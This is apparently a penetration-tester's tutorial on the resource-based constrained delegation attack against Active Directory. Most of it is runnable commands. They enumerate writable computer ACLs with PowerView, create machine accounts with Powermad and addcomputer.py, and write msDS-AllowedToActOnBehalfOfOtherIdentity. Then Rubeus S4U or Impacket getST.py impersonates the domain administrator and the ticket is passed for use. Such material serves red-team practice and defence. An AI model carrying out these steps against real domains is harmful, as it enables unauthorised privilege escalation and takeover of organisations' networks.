Resource-Based Constrained Delegation

Windows 2012 introduced a new type of delegation called resource-based constrained delegation (RBCD), which allows the delegation configuration to be set on the target rather than the source.

For Constrained Delegation and Unconstrained Delegation, delegation management was done at the level of the service that wanted to impersonate a user to access a resource. Resource-based constrained delegation reverses the responsibilities and shifts delegation management to the final resource. It is no longer at the service level that we list the resources to which we can delegate, but at the resource level, a trust list is established. Any account on this trusted list has the right to delegate authentication to access the resource.

To compare - constrained delegation is configured on the "front-end" service via its msDS-AllowedToDelegateTo attribute

The resource has the right to modify its own trusted list so any service account has the right to modify its trusted list to allow one or more accounts to delegate authentication to themselves. If a service account adds one or more accounts to its trusted list, it updates its msDS-AllowedToActOnBehalfOfOtherIdentity attribute.

Enabling unconstrained or constrained delegation on a computer requires the SeEnableDelegationPrivilege user right assignment on domain controllers, which is only granted to enterprise and domain admins.

The two major prerequisites to pull off the attack are:

  1. A target computer on which you can modify msDS-AllowedToActOnBehalfOfOtherIdentity

  2. Control of another principal that has an SPN.

This query will obtain every domain computer and read their ACL, filtering on the interesting rights.

Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }

A common means of obtaining a principal with an SPN is to use a computer account

Get-DomainComputer -Identity ws$ -Properties objectSid

but if we don't own one we might able to create a new machine account if the MAQ (machine account quota) of a user we own is > 0 (it should be 10 by default)

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount OTTR -Password $(ConvertTo-SecureString "SomethingSecure123!" -AsPlainText -Force)
addcomputer.py -computer-name 'OTTR$' -computer-pass 'SomethingSecure123!' -dc-ip 10.10.10.10 domain.com/otter

We'll then use this inside an SDDL to create a security descriptor. The content of msDS-AllowedToActOnBehalfOfOtherIdentity must be in raw binary format.

$rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-569305411-121244042-2357301523-1109)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "dc-2" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose

another variation of this is the following

Import-Module .\PowerView.ps1
$ComputerSid = Get-DomainComputer OTTR -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
$credentials = New-Object System.Management.Automation.PSCredential "DOMAIN\otter", (ConvertTo-SecureString "SomethingSecure123!" -AsPlainText -Force)

These commands do the following

  1. Obtain the computer SID.

  2. Use the Security Descriptor Definition Language (SDDL) to create a security descriptor.

  3. Set msDS-AllowedToActOnBehalfOfOtherIdentity in raw binary format.

  4. Modify the target computer.

Next, we use the OTTR$ account to perform the S4U impersonation with Rubeus. The s4u command requires a TGT, RC4 or AES hash.

Rubeus.exe s4u /user:OTTR$ /impersonateuser:administrator /msdsspn:cifs/dc.domain.com /ticket:doIFuD ... 5JTw== /nowrap

Finally, pass the ticket into a logon session for use.

Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DOMAIN /username:administrator /password:SomethingSecure123! /ticket:doIGcD ... MuaW8=

To clean up, simply remove the msDS-AllowedToActOnBehalfOfOtherIdentity entry on the target.

Get-DomainComputer -Identity dc | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity

or

Import-Module .\PowerView.ps1
$credentials = New-Object System.Management.Automation.PSCredential "DOMAIN\otter", (ConvertTo-SecureString "SomethingSecure123!" -AsPlainText -Force)
Get-DomainComputer DC01 | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity -Credential $credentials -Verbose

Another way to perform the attack consists in using the StandIn tool and its functionality to create a computer with a random password.

StandIn.exe --computer compooter --make

Rubeus' hash can take that password and calculate their hashes.

Rubeus.exe hash /password:SomethingSecure123! /user:compooter$ /domain:domain.com

We can also use this script to enumerate for user accounts we can use for RBCD.

From linux the whole process is automated with a script from the Impacket suite

rbcd.py -dc-ip 10.10.10.10 -t DC01 -f OTTR domain\\otter:'SomethingSecure123!'
getST.py -spn cifs/DC01.domain.com -impersonate Administrator -dc-ip 10.10.10.10 domain.com/OTTR:'SomethingSecure123!'

Last updated